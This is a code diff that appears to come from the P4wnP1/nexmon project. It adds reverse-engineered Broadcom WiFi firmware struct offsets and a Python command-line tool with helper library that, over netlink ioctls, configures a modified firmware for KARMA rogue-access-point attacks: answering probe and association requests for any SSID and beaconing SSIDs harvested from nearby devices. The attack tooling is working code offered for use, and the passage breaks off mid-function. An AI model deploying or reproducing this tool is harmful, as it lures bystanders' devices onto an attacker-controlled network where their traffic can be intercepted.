diff --git a/firmwares/bcm43430a1/structs.common.h b/firmwares/bcm43430a1/structs.common.h index 5b252411a..d16f7a431 100644 --- a/firmwares/bcm43430a1/structs.common.h +++ b/firmwares/bcm43430a1/structs.common.h @@ -406,6 +406,59 @@ struct wlc_if { struct wlc_if_stats _cnt; }; +#define ETHER_ADDR_LEN 6 /* d11 management header length */ +struct ether_addr { + uint8 octet[ETHER_ADDR_LEN]; +}; + +typedef struct wlc_if wlc_if_t; +typedef struct wlc_bsscfg wlc_bsscfg_t; +typedef struct wlc_info wlc_info_t; +typedef struct wl_info wl_info_t; +typedef struct hnd_dev hnd_dev_t; + +#define HND_DEV_NAME_MAX 16 + +/* Device instance */ +struct hnd_dev { + char name[HND_DEV_NAME_MAX]; + uint32 devid; + uint32 flags; + //hnd_dev_ops_t *ops; + void *ops; + void *softc; + hnd_dev_t *next; + hnd_dev_t *chained; + //hnd_dev_stats_t *stats; + void *stats; + void *commondata; + void *pdev; +}; + + +typedef struct hnd_timer hnd_timer_t; +typedef struct hnd_timer hnd_task_t; +typedef hnd_timer_t wl_timer; +typedef struct wlc_ap_info wlc_ap_info_t; + +struct wlc_ap_info { + int PAD; +}; + +struct hnd_timer +{ + int PAD; +}; + +typedef struct wlc_assoc { + /* MaMe82: struct not verified */ + + struct wl_timer *timer; //0x00 + char gap[0x44]; + bool rt; //0x48 + +} wlc_assoc_t; + struct wlc_info { struct wlc_pub *pub; /* 0x000 */ struct osl_info *osh; /* 0x004 */ @@ -564,8 +617,18 @@ struct wlc_info { int PAD; /* 0x25C */ int PAD; /* 0x260 */ int PAD; /* 0x264 */ - int PAD; /* 0x268 */ - int PAD; /* 0x26C */ +/* + * MaMe82: + * + * The code @0x1d23a shows how the bsscfg array of wlc_info struct is iterated and reveals: + * offset 0x268: wlc_bsscfg_t **bsscfg //array of pointers to bsscfg structs in use, max length is 0x20 + * offset 0x26C: wlc_bsscfg_t *cfg //pointer to primary bsscfg + * + * The observations have been verified on FW version 7.45.41.46 + */ + + wlc_bsscfg_t **bsscfg; /* 0x268 */ //MaMe82: checked, see comments above + wlc_bsscfg_t *cfg; /* 0x26C */ //MaMe82: checked, see comments above int PAD; /* 0x270 */ int PAD; /* 0x274 */ int PAD; /* 0x278 */ @@ -576,7 +639,7 @@ struct wlc_info { int PAD; /* 0x28C */ int PAD; /* 0x290 */ int PAD; /* 0x294 */ - int PAD; /* 0x298 */ + uint8 FW_PAD_UNUSED[4]; /* 0x298 */ //Dangerous, needs to be validated to avoid hitting channel_quality or *txmod_fs int PAD; /* 0x29C */ int PAD; /* 0x2A0 */ int PAD; /* 0x2A4 */ @@ -696,7 +759,7 @@ struct wlc_info { int PAD; /* 0X46C */ int PAD; /* 0X470 */ int PAD; /* 0X474 */ - int PAD; /* 0X478 */ + void *pcb; /* 0X478 */ int PAD; /* 0X47C */ int PAD; /* 0X480 */ int PAD; /* 0X484 */ @@ -732,7 +795,8 @@ struct wlc_info { int PAD; /* 0X4FC */ int PAD; /* 0X500 */ int PAD; /* 0X504 */ - int PAD; /* 0X508 */ + //MaMe82: see code @ 0x0083f0cc + int ap; /* 0X508 */ int PAD; /* 0X50C */ short some_chanspec; /* 0X510 */ short PAD; /* 0X512 */ @@ -797,12 +861,13 @@ struct wlc_info { int PAD; /* 0X5FC */ }; + /* partly CHECKED */ struct wlc_pub { struct wlc_info *wlc; /* 0x000 */ - int PAD; /* 0x004 */ - int PAD; /* 0x008 */ - int PAD; /* 0x00C */ + struct ether_addr cur_etheraddr; /* 0x004 */ + uint32 unit; /* 0x00A */ //uint device instance num + short PAD; /* 0x00E */ int PAD; /* 0x010 */ int PAD; /* 0x014 */ int PAD; /* 0x018 */ @@ -813,8 +878,18 @@ struct wlc_pub { char field_26; /* 0x026 */ char field_27; /* 0x027 */ int PAD; /* 0x028 */ - int PAD; /* 0x02C */ - int field_30; /* 0x030 */ + //MaMe82 see code @ 0x0083f0be +// int PAD; /* 0x02C */ + bool PAD; //0x02c + bool PAD; //0x02d + bool PAD; //0x02e + bool _ap; //0x02f is AP +// int field_30; /* 0x030 */ + bool _apsta; //0x030 is APSTA + bool PAD; //0x031 + bool PAD; //0x032 + bool PAD; //0x033 + int PAD; /* 0x034 */ int PAD; /* 0x038 */ int PAD; /* 0x03C */ @@ -831,27 +906,55 @@ struct wlc_pub { int PAD; /* 0x050 */ char gap2[147]; char is_amsdu; // @ 0xe7 + char gap3[4]; + uint32 bcn_tmpl_len; //0xEC + + //0xec --> bcn_tmpl_len ?? } __attribute__((packed)); + +#define WLC_NUMRATES 16 +#define MCSSET_LEN 16 + +typedef uint32 ratespec_t; + +typedef struct wlc_rateset { + uint32 count; //likely to be uint16 + uint8 rates[WLC_NUMRATES]; + //uint8 htphy_membership; + //uint8 mcs[MCSSET_LEN]; + //uint16 vht_mcsmap; + //uint16 vht_mcsmap_prop; +} wlc_rateset_t; + +typedef struct wlc_bss_info { + struct ether_addr BSSID; //0x00 + uint8 GAP[0x32]; //0x06 + wlc_rateset_t rateset; //0x38 MaMe82 : see code @ 0x008377fa + uint8 TAIL[1]; +} wlc_bss_info_t; + struct wlc_bsscfg { - void *wlc; /* 0x000 */ - char associated; /* 0x004 */ - char PAD; /* 0x005 */ - char PAD; /* 0x006 */ - char PAD; /* 0x007 */ - int PAD; /* 0x008 */ - int PAD; /* 0x00C */ - int PAD; /* 0x010 */ + struct wlc_info *wlc; /* 0x000 */ + bool up; /* 0x004 */ //up + bool enable; /* 0x005 */ //enable + bool _ap; /* 0x006 */ //_ap + bool _psta; /* 0x007 */ //_psta + bool associated; /* 0x008 */ + bool PAD; /* 0x009 */ + bool PAD; /* 0x00a */ + bool PAD; /* 0x00b */ + wlc_if_t *wlcif; /* 0x00C */ + bool BSS; /* 0x010 */ + bool PAD; /* 0x011 */ + bool PAD; /* 0x012 */ + bool PAD; /* 0x013 */ int PAD; /* 0x014 */ - int PAD; /* 0x018 */ - int PAD; /* 0x01C */ - int PAD; /* 0x020 */ - int PAD; /* 0x024 */ - int PAD; /* 0x028 */ - int PAD; /* 0x02C */ - int PAD; /* 0x030 */ - int PAD; /* 0x034 */ - int PAD; /* 0x038 */ + uint8 SSID_len; /* 0x018 */ + uint8 SSID[32]; /* 0x019 */ + uint8 PAD; /* 0x039 */ + uint8 PAD; /* 0x03A */ + uint8 PAD; /* 0x03B */ int PAD; /* 0x03C */ int PAD; /* 0x040 */ int PAD; /* 0x044 */ @@ -898,8 +1001,10 @@ struct wlc_bsscfg { int PAD; /* 0x0E8 */ int PAD; /* 0x0EC */ int PAD; /* 0x0F0 */ - int PAD; /* 0x0F4 */ - int PAD; /* 0x0F8 */ + //int PAD; /* 0x0F4 */ + wlc_bss_info_t *current_bss; /* 0x0F4 */ //MaMe82: see code @ 0x008377f4 + //int PAD; /* 0x0F8 */ + wlc_assoc_t *assoc; /* 0x0F8 */ //MaMe82: see code @ 0x00847840 int PAD; /* 0x0FC */ int PAD; /* 0x100 */ int PAD; /* 0x104 */ @@ -1818,6 +1923,7 @@ struct tdls_iovar { uint8 PAD; } __attribute__((packed)); + /* struct bdc_ethernet_ip_udp_header { struct bdc_header bdc; diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/karmatool.py b/patches/bcm43430a1/7_45_41_46/nexmon/karmatool.py new file mode 100755 index 000000000..ed6bad172 --- /dev/null +++ b/patches/bcm43430a1/7_45_41_46/nexmon/karmatool.py @@ -0,0 +1,215 @@ +#!/usr/bin/python + +#!/usr/bin/python + +# This file is part of P4wnP1. +# +# Copyright (c) 2017, Marcus Mengs. +# +# P4wnP1 is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# P4wnP1 is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with P4wnP1. If not, see . + + +# The command line tool could be used to configure the MaMe82 nexmon firmware mod (KARMA) +# for Pi3 / Pi0W while an access point is up and running + +from mame82_util import * +import cmd +import sys +import getopt + +def interact(): + pass + +def usage(): + usagescr = '''Firmware configuration tool for KARMA modified nexmon WiFi firmware on Pi0W/Pi3 by MaMe82 +========================================================================================= + +RePo: https://github.com/mame82/P4wnP1_nexmon_additions +Creds to: seemoo-lab for "NEXMON" project + +A hostapd based Access Point should be up and running, when using this tool +(see the README for details). + +Usage: python karmatool.py [Arguments] + +Arguments: + -h Print this help screen + -i Interactive mode + -d Load default configuration (KARMA on, KARMA beaconing off, + beaconing for 13 common SSIDs on, custom SSIDs never expire) + -c Print current KARMA firmware configuration + -p 0/1 Disable/Enable KARMA probe responses + -a 0/1 Disable/Enable KARMA association responses + -k 0/1 Disable/Enable KARMA association responses and probe responses + (overrides -p and -a) + -b 0/1 Disable/Enable KARMA beaconing (broadcasts up to 20 SSIDs + spotted in probe requests as beacon) + -s 0/1 Disable/Enable custom SSID beaconing (broadcasts up to 20 SSIDs + which have been added by the user with '--addssid=' when enabled) + --addssid="test" Add SSID "test" to custom SSID list (max 20 SSIDs) + --remssid="test" Remove SSID "test" from custom SSID list + --clearssids Clear list of custom SSIDs + --clearkarma Clear list of karma SSIDs (only influences beaconing, not probes) + --autoremkarma=600 Auto remove KARMA SSIDs from beaconing list after sending 600 beacons + without receiving an association (about 60 seconds, 0 = beacon forever) + --autoremcustom=3000 Auto remove custom SSIDs from beaconing list after sending 3000 + beacons without receiving an association (about 5 minutes, 0 = beacon + forever) + +Example: + python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses) + But sends no beacons for SSIDs from received probes + python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses) + and sends beacons for SSIDs from received probes + (max 20 SSIDs, if autoremove isn't enabled) + + python karmatool.py --addssid="test 1" --addssid="test 2" -s 1 + Add SSID "test 1" and "test 2" and enable beaconing for + custom SSIDs +''' + print(usagescr) + +def print_conf(): + print "Retrieving current configuration ...\n====================================" + MaMe82_IO.dump_conf(print_res=True) + +def check_bool_arg(arg): + try: + res = int(arg) + if (res == 0) or (res == 1): + return res + else: + return -1 + except ValueError: + return -1 + +def main(argv): + try: + opts, args = getopt.getopt(argv, "hicdk:p:a:b:s:", ["help", "interactive", "currentconfig", "setdefault", "clearkarma", "clearssids", "addssid=", "remssid=", "autoremkarma=", "autoremcustom="]) + except getopt.GetoptError: + print "ERROR: Wrong command line argument(s)" + print "-------------------------------------\n" + usage() + sys.exit(2) + + for opt, arg in opts: + if opt in ("-h", "--help"): + usage() + sys.exit() + elif opt in ("-d", "--setdefault"): + print "Setting default configuration ..." + MaMe82_IO.set_defaults() + print_conf() + sys.exit() + elif opt in ("-i", "--interactive"): + print "Interactive mode" + print "... Sorry, feature not implemented, yet ... stay tuned" + sys.exit() + elif opt in ("-c", "--currentconfig"): + print_conf() + elif opt == "-p": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -p (KARMA probe), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA probe responses to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma_probe(True if (val==1) else False) + elif opt == "-a": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -a (KARMA associations), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA association responses to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma_assoc(True if (val==1) else False) + elif opt == "-k": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -k (KARMA probes and associations), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA probe and association responses to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma(True if (val==1) else False) + elif opt == "-b": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -b (KARMA beaconing), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA beaconing to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma_beaconing(True if (val==1) else False) + elif opt == "-s": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -s (custom beaconing), must be 0 or 1 .... ignoring option" + else: + print "Setting custom beaconing to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_custom_beaconing(True if (val==1) else False) + elif opt == "--addssid": + if len(arg) == 0 or len(arg) > 32: + print "Argument error for --addssid, mustn't be empty max length is 32 ... ignoring option" + else: + MaMe82_IO.add_custom_ssid(arg) + elif opt == "--remssid": + if len(arg) == 0 or len(arg) > 32: + print "Argument error for --remssid, mustn't be empty max length is 32 ... ignoring option" + else: + MaMe82_IO.rem_custom_ssid(arg) + elif opt == "--clearssids": + print "Removing all custom SSIDs" + MaMe82_IO.clear_custom_ssids() + elif opt == "--clearkarma": + print "Removing all KARMA SSIDs (no influence on probe / assoc responses)" + MaMe82_IO.clear_karma_ssids() + elif opt == "--autoremkarma": + error="An integer value >=0 is needed for autoremkarma ... ignoring option" + try: + val = int(arg) + if (val < 0): + print error + else: + print "Removing KARMA SSIDs after sending {0} beacons without occuring association".format(val) + MaMe82_IO.set_autoremove_karma_ssids(val) + except ValueError: + print error + elif opt == "--autoremcustom": + error="An integer value >=0 is needed for autoremcustom ... ignoring option" + try: + val = int(arg) + if (val < 0): + print error + else: + print "Removing custom SSIDs after sending {0} beacons without occuring association".format(val) + MaMe82_IO.set_autoremove_custom_ssids(val) + except ValueError: + print error + + + + print "" + print_conf() + + + +if __name__ == "__main__": + if not MaMe82_IO.check_for_karma_cap(): + print "The current WiFi Firmware in use doesn't seem to support KARMA" + print "A modified and precompiled nexmon firmware for Pi3 / Pi0w with KARMA support could" + print "be found here:\thttps://github.com/mame82/P4wnP1_nexmon_additions" + sys.exit() + else: + print "Firmware in use seems to be KARMA capable" + + if len(sys.argv) < 2: + usage() + sys.exit() + main(sys.argv[1:]) + diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/mame82_util.py b/patches/bcm43430a1/7_45_41_46/nexmon/mame82_util.py new file mode 100755 index 000000000..01d559275 --- /dev/null +++ b/patches/bcm43430a1/7_45_41_46/nexmon/mame82_util.py @@ -0,0 +1,604 @@ +#!/usr/bin/python + +# This file is part of P4wnP1. +# +# Copyright (c) 2017, Marcus Mengs. +# +# P4wnP1 is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# P4wnP1 is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with P4wnP1. If not, see . + + +# The python classes are used to configure the MaMe82 nexmon firmware mod +# while an access point is up and running + +import fcntl +import socket +import os +from ctypes import * +import struct + +class struct_ssid_list(Structure): + # we define the fields afterwards to allow creating a pointer to this struct + # which only is declared here (no fields defined so far) + pass + +struct_ssid_list._fields_ = [("next", POINTER(struct_ssid_list)), + ("ssid", c_ubyte*33), + ("len_ssid", c_ubyte), + ("assoc_req", c_uint), + ("bcn_send", c_uint)] + +class struct_mame82_config(Structure): + _fields_ = [("karma_probes", c_bool), + ("karma_assocs", c_bool), + ("karma_beacons", c_bool), + ("custom_beacons", c_bool), + ("debug_out", c_bool), + ("ssids_custom", c_void_p), + ("ssids_karma", c_void_p), + ("karma_beacon_autoremove", c_uint), + ("custom_beacon_autoremove", c_uint), + ("max_karma_beacon_ssids", c_ubyte), + ("max_custom_beacon_ssids", c_ubyte)] + +class struct_mame82_config(Structure): + _fields_ = [("karma_probes", c_bool), + ("karma_assocs", c_bool), + ("karma_beacons", c_bool), + ("custom_beacons", c_bool), + ("debug_out", c_bool), + ("ssids_custom", POINTER(struct_ssid_list)), + ("ssids_karma", POINTER(struct_ssid_list)), + ("karma_beacon_autoremove", c_uint), + ("custom_beacon_autoremove", c_uint), + ("max_karma_beacon_ssids", c_ubyte), + ("max_custom_beacon_ssids", c_ubyte)] + +class struct_nlmsghdr(Structure): + _fields_ = [("nlmsg_len", c_uint), + ("nlmsg_type", c_ushort), + ("nlmsg_flags", c_ushort), + ("nlmsg_seq", c_uint), + ("nlmsg_pid", c_uint)] + + +class struct_IOCTL(Structure): + _fields_ = [("cmd", c_uint), + ("buf", c_void_p), + ("len", c_uint), + ("set", c_bool), + ("used", c_uint), + ("needed", c_uint), + ("driver", c_uint)] + +class struct_IFREQ(Structure): + _fields_ = [("ifr_name", c_char*16), + ("ifr_data", c_void_p)] + + +class struct_nexudp_hdr(Structure): + _fields_ = [("nex", c_char * 3), + ("type", c_char), + ("securitycookie", c_int)] + + +class struct_nexudp_ioctl_hdr(Structure): + _fields_ = [("nexudphdr", struct_nexudp_hdr), + ("cmd", c_uint), + ("set", c_uint), + ("payload", c_byte * 1)] + + +class nexconf: + NLMSG_ALIGNTO = 4 + RTMGRP_LINK = 1 +# IFLA_IFNAME = 3 +# NLM_F_REQUEST = 0x0001 +# NLM_F_ROOT = 0x0100 +# NLMSG_NOOP = 0x0001 +# NLMSG_ERROR = 0x0002 +# NLMSG_DONE = 0x0003 + + NEXUDP_IOCTL = 0 + NETLINK_USER = 31 + + @staticmethod + def create_cmd_ioctl(cmd, buf, set_val=False): + ioctl = struct_IOCTL() + ioctl.cmd = cmd + ioctl.buf = cast(c_char_p(buf), c_void_p) + ioctl.len = len(buf) + ioctl.set = set_val + ioctl.driver = 0x14e46c77 + return ioctl + + @staticmethod + def create_ifreq(ifr_name, ifr_data): + ifr = struct_IFREQ() + ifr.ifr_name = struct.pack("16s", ifr_name) # padded with zeroes (maybe utf-8 conversion should be assured ?!?!) + ifr.ifr_data = cast(pointer(ifr_data), c_void_p) + return ifr + + @staticmethod + def c_struct2str(c_struct): + return string_at(addressof(c_struct), sizeof(c_struct)) + + @staticmethod + def ptr2str(ptr, length): + return string_at(ptr, length) + + @staticmethod + def ctype2pystr(ct): + return buffer(ct)[:] + + @staticmethod + def print_struct(struct, pre=""): + for field_name, field_type in struct._fields_: + print pre, field_name, field_type, getattr(struct, field_name) + + @staticmethod + def NLMSG_ALIGN(length): + return ((length + nexconf.NLMSG_ALIGNTO-1) & ~(nexconf.NLMSG_ALIGNTO - 1)) + + @staticmethod + def NLMSG_HDRLEN(): + return nexconf.NLMSG_ALIGN(sizeof(struct_nlmsghdr)) + + @staticmethod + def NLMSG_LENGTH(length): + return length + nexconf.NLMSG_ALIGN(nexconf.NLMSG_HDRLEN()) + + @staticmethod + def NLMSG_SPACE(length): + return nexconf.NLMSG_ALIGN(nexconf.NLMSG_LENGTH(length)) + + @staticmethod + def NLMSG_DATA(nlh): + c = cast(nlh, c_void_p) + c.value += nexconf.NLMSG_LENGTH(0) # inc is only possible for void ptr, we don't need to cast to char first as incrementation is done in single bytes (by adding to value) + return c + + @staticmethod + def sendNL_IOCTL(ioc, debug=False, rawresult=False): + ### NETLINK test #### + + if debug: + print "Sending NL IOCTL\n\tcmd: {0}\n\tset_enabled: {1}\n\tpayload: {2}".format(ioc.cmd, ioc.set, repr(nexconf.ptr2str(ioc.buf, ioc.len))) + + + + + frame_len = ioc.len + sizeof(struct_nexudp_ioctl_hdr) - sizeof(c_char) + frame = struct_nexudp_ioctl_hdr() + + nlhbuf = create_string_buffer(nexconf.NLMSG_SPACE(frame_len)) + nlh = cast(pointer(nlhbuf), POINTER(struct_nlmsghdr)) + + nlh.contents.nlmsg_len = nexconf.NLMSG_SPACE(frame_len) + nlh.contents.nlmsg_pid = os.getpid(); + nlh.contents.nlmsg_flags = 0; + + + pdata = nexconf.NLMSG_DATA(nlh) + frame = cast(pdata, POINTER(struct_nexudp_ioctl_hdr)) + frame.contents.nexudphdr.nex = 'NEX' + frame.contents.nexudphdr.type = chr(nexconf.NEXUDP_IOCTL) + frame.contents.nexudphdr.securitycookie = 0; + + frame.contents.cmd = ioc.cmd + frame.contents.set = ioc.set + #frame.contents.payload = nexconf.ptr2str(ioc.buf, ioc.len) + memmove(addressof(frame.contents.payload), ioc.buf, ioc.len) + + + + # frame to string + fstr = nexconf.ptr2str(frame, nexconf.NLMSG_SPACE(frame_len) - nexconf.NLMSG_LENGTH(0)) + + #full buf to string (including nlhdr) + p_nlhbuf = pointer(nlhbuf) + bstr = nexconf.ptr2str(p_nlhbuf, nexconf.NLMSG_SPACE(frame_len)) + + + ''' + print "NL HEADER" + print type(p_nlhbuf) + print repr(bstr) + print repr(buffer(p_nlhbuf.contents)[:]) + print "NL MESSAGE DATA" + print type(frame) + print repr(fstr) + print repr(buffer(frame.contents)[:]) + ''' + + + try: + s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER) + except socket.error: + print "No Netlink IOCTL connection possible" + return None + + # bind to kernel + s.bind((os.getpid(), 0)) + sfd = os.fdopen(s.fileno(), 'w+b') + + + sfd.write(bstr) + sfd.flush() + + ret = "" + if (ioc.set == 0): + # read back result (CAUTION THERE'S NO SOCKET TIMEOUT IN USE, SO THIS COULD STALL) + if debug: + print "Reading back NETLINK answer ..." + res_frame = sfd.read(nlh.contents.nlmsg_len) + res_frame_len = len(res_frame) + if rawresult: + # don't cast and parse headers + sfd.close() + s.close() + return res_frame + + # pointer to result buffer + p_res_frame = cast(c_char_p(res_frame), c_void_p) + + # point struct nlmsghdr to p_res_frame + p_nlh = cast(p_res_frame, POINTER(struct_nlmsghdr)) + + # grab pointer to data part of nlmsg + p_nld_void = nexconf.NLMSG_DATA(p_nlh) + + # convert to: struct nexudp_ioctl_hdr* + p_nld = cast(p_nld_void, POINTER(struct_nexudp_ioctl_hdr)) + + # calculate offset to payload from p_res_frame + offset_payload = addressof(p_nld.contents.payload) - p_res_frame.value + + payload = res_frame[offset_payload:] + + if debug: + nexconf.print_struct(p_nlh.contents, "\t") + nexconf.print_struct(p_nld.contents, "\t") + nexconf.print_struct(p_nld.contents.nexudphdr, "\t") + print "\tpayload:\t" + repr(payload) + + + #return only payload part of res frame + ret = payload + + sfd.close() + s.close() + + return ret + + @staticmethod + def send_IOCTL(ioc, device_name = "wlan0"): + # This code is untested, because our target (BCM43430a1) talks NETLINK + # so on Pi0w sendNL_IOCTL should be used + + SIOCDEVPRIVATE = 0x89F0 + + # create ioctl ifreq + ifr = nexconf.create_ifreq(device_name, ioc) + + + # debug out + ''' + print repr(nexconf.c_struct2str(ifr)) + print len(nexconf.c_struct2str(ifr)) + print repr(string_at(ifr.ifr_data, sizeof(ioc))) + ''' + + # send ioctl to kernel via UDP socket + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + fcntl.ioctl(s.fileno(), SIOCDEVPRIVATE, ifr) + s.close() + +class MaMe82_IO: + CMD=666 + CMD_RETRIEVE_CAP = 400 + KARMA_CAP = (1 << 7) + + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE = 1 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC = 2 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA = 3 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON = 4 + MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT = 5 + MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT = 6 + MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID = 7 + MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID = 8 + MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS = 9 + MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS = 10 + MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS = 11 + + MAME82_IOCTL_ARG_TYPE_GET_CONFIG = 100 + MAME82_IOCTL_ARG_TYPE_GET_MEM = 101 + + @staticmethod + def s2hex(s): + return "".join(map("0x%2.2x ".__mod__, map(ord, s))) + + @staticmethod + def add_custom_ssid(ssid): + if len(ssid) > 32: + print "SSID too long, 32 chars max" + return + ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID, len(ssid), ssid), True) + nexconf.sendNL_IOCTL(ioctl_addssid) + + @staticmethod + def rem_custom_ssid(ssid): + if len(ssid) > 32: + print "SSID too long, 32 chars max" + return + ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID, len(ssid), ssid), True) + nexconf.sendNL_IOCTL(ioctl_addssid) + + @staticmethod + def set_enable_karma_probe(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_enable_karma_assoc(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_enable_karma_beaconing(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_enable_custom_beaconing(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + + @staticmethod + def set_enable_karma(on=True): + if on: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 1), True) + else: + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def clear_custom_ssids(): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def clear_karma_ssids(): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS, 0), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_autoremove_custom_ssids(beacon_count): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def set_autoremove_karma_ssids(beacon_count): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True) + nexconf.sendNL_IOCTL(ioctl) + + @staticmethod + def check_for_karma_cap(): + ioctl = nexconf.create_cmd_ioctl(400, "", False) # there's a length check for the CAPs ioctl, forcing size to 4 (only command, no arg buffer) + res = nexconf.sendNL_IOCTL(ioctl) + if res == None: + return False + else: + cap = struct.unpack("I", res[:4])[0] + # print "Cap: {0}".format(MaMe82_IO.s2hex(res)) + if (cap & MaMe82_IO.KARMA_CAP == 0): + return False + return True + + @staticmethod + def dump_conf(print_res=True, dump_ssids=True): + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II40s", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_CONFIG, 4, ""), False) + res = nexconf.sendNL_IOCTL(ioctl) + + if res == None: + print "Couldn't retrieve config" + return None + + mame82_config = struct_mame82_config() + memmove(addressof(mame82_config), res, min(len(res), sizeof(struct_mame82_config))) + + if dump_ssids: + mame82_config.ssids_karma = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_karma, c_void_p).value) + mame82_config.ssids_custom = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_custom, c_void_p).value) + else: + mame82_config.ssids_karma = None + mame82_config.ssids_custom = None + + + if print_res: + print "KARMA PROBES - Answer probe requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_probes else "Off") 